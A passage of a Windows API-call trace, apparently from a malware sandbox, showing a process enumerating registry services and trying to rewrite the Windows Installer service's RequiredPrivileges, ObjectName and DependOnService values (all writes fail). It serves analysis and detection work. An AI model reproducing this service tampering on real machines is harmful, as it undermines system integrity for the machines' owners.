lpName="LanmanWorkstation") returned 0x0 [0233.713] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0233.713] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0233.713] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0233.713] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0233.713] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0233.713] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0233.713] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0233.713] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0233.713] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0233.713] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0233.713] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0233.713] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0233.713] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0233.713] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0233.713] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0233.714] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0233.714] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0233.714] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0233.714] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0233.714] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0233.714] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0233.714] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0233.714] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0233.714] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0233.714] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0233.714] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0233.714] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0233.714] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0233.714] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0233.714] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0233.714] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0233.715] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0233.715] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0233.715] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0233.715] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0233.715] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0233.715] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0233.715] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0233.715] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0233.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0233.715] RegCloseKey (hKey=0x14c) returned 0x0 [0233.715] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0233.715] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0233.778] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0233.778] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0233.778] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0233.778] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0233.778] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0233.778] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0233.778] RegCloseKey (hKey=0x80000002) returned 0x0 [0233.778] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0233.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0233.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0233.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0233.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0233.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0233.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0233.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0233.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0233.779] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0233.779] RegCloseKey (hKey=0x150) returned 0x0 [0233.779] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0233.779] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0233.779] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0233.779] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0233.779] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0233.779] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0233.780] RegCloseKey (hKey=0x14c) returned 0x0 [0233.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0233.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0233.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0233.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0233.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0233.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0233.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0233.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0233.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0233.781] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.781] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.781] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.781] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.781] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.781] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.781] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.781] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.781] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.781] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.781] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.781] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.782] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.782] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.782] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.782] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0233.782] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048, cbData=0x195) returned 0x6 [0233.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0233.782] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData=0x21f1b68, cbData=0x1) returned 0x6 [0233.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0233.782] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.782] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.782] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.782] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.782] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.782] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.782] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.782] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.783] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.783] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.783] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.783] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.783] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.783] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.783] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.783] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0233.783] RegSetValueExA (hKey=0x0, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData=0x21f1970, cbData=0xc) returned 0x6 [0233.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0233.783] RegSetValueExA (hKey=0x0, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData=0x21f1970, cbData=0x1) returned 0x6 [0233.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0233.783] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.783] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.783] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.783] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.784] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.784] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.784] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.784] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.784] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.784] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.784] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.784] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.784] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.784] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.784] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.784] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0233.784] RegSetValueExA (hKey=0x0, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData=0x21f1a00, cbData=0x6) returned 0x6 [0233.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.785] RegSetValueExA (hKey=0x0, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData=0x21f1a00, cbData=0x1) returned 0x6 [0233.785] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.785] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.785] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.785] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.785] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, 